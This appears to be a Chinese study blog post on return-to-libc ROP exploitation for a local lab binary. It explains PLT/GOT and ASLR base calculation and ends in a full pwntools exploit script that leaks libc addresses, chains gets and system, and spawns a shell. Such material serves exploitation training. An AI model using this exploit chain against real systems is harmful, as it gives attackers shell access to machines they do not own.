Pwn_7 ROP (2)

  • 如果不是静态编译,通常不会有int 0x80。意思就是,没有int 0x80 构造的堆栈再好,也无法运行
  • 动态编译会载入整个shared library
  • stack overflow时可以直接构造function调用函数

有了函数地址,就可以直接拿来调用

Address = base + offset

在ASLR(Address Space Layout Randomization)中,每一次的基地址都会改变。每一个程序必然都会用到libc库中的函数 比如说main 函数,就要用到libc中的start_main()函数

有了这个函数地址,libc中的偏移地址是固定的,一个函数的实际地址也可以知道,

base addr = address –offset

Lazy Binding 延迟绑定

ELF采用了延迟绑定:函数第一次被调用的时候才绑定,如果没有用到则不进行绑定

PLT

image80483c0就是plt的地址

 

 

GOT表(Global offset table)

全局偏移表

ELF将GOT表拆成两个表:.got 和 .got.plt

  • .got保存全局变量的地址
  • .got.plt保存函数引用地址

如果一个程序中使用到了某一个函数,那么一定会对应的有plt地址和.got.plt地址

image

0x804a010这个地址对应的值 就是实际地址,只要把这个地址的值打印出来就可以得到了实际地址

Call Library Function

gets() #函数地址

pop1_ret #执行完gets()函数的返回地址,比如pop eax pop ebx..把参数弹出栈

<buf>  #参数

system()

xxx

<buf>

 

再比如说 read函数

read函数地址

pop3_ret

第一个变量

第二个变量

第三个变量

system()

xxx

<buf>


Practice 6 ret2lib

image_libc_start_main这个函数一定会用到

.got.plt=0x804a024

写了一段脚本

exp_3.py

from pwn import *

r = remote('127.0.0.1',4000)

puts_got_plt = 0x804a01c

r.recvuntil(':')

r.sendline(str(puts_got_plt))

r.interactive()

image执行结果

找puts函数在libc库中的offset

ldd ./ret2lib #查看调用了那些库 以及路径

root@danny-virtual-machine:/home/danny/Desktop/pwn# ldd ./ret2lib
     linux-gate.so.1 =>  (0xf7f7c000)
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7da7000)
     /lib/ld-linux.so.2 (0xf7f7e000)

root@danny-virtual-machine:/home/danny/Desktop/pwn# readelf -a /lib/i386-linux-gnu/libc.so.6 | grep puts@
    205: 0005fca0   464 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.0
  这个就偏移地址 434: 0005fca0   464 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.0
   1182: 0005e720   349 FUNC    WEAK   DEFAULT   13 fputs@@GLIBC_2.0
   1736: 0005e720   349 FUNC    GLOBAL DEFAULT   13 _IO_fputs@@GLIBC_2.0

如何判断找到的实际地址是正确的?

实际地址与偏移地址的后3位是相同的,即后1.5个bit,如果找不到这个地址,就可以考虑爆破了

最终的exp_3.py

from pwn import *
r = remote('127.0.0.1',4000)

puts_got_plt = 0x804a01c

put_off = 0x0005fca0

r.recvuntil(':')

r.sendline(str(puts_got_plt))

r.recvuntil(':')

libc_base = int(r.recvuntil(' ').strip(),16) - put_off

print (hex(libc_base))

#raw_input('#')
gets_off = 0x05f3e0
system_off = 0x003ada0
gets = libc_base + gets_off
system = libc_base + system_off
buf = 0x0804b000 - 30

rop = [
     gets,
     system,
     buf,
     buf
]
r.recvuntil(':')
r.sendline('a'*60 + flat(rop))

sleep(2)
r.sendline('/bin/shx00')
r.interactive()


 总结:

  1. 找到某一个函数的.got.plt地址所对应的实际地址的值
  2. 查找该函数的offset 由实际地址-偏移地址获得libc_base地址
  3. 构造rop

gets()  #函数地址 libc_base + offset    # ldd ./file   获得库路径   #readelf -a 库路径 | grep func@

system() #函数地址 libc_base + offset

buf  #寻找可写区域   ./file &得到proc id 然后 cat /proc/func id/maps

buf

原文地址:https://www.cnblogs.com/rookieDanny/p/8503493.html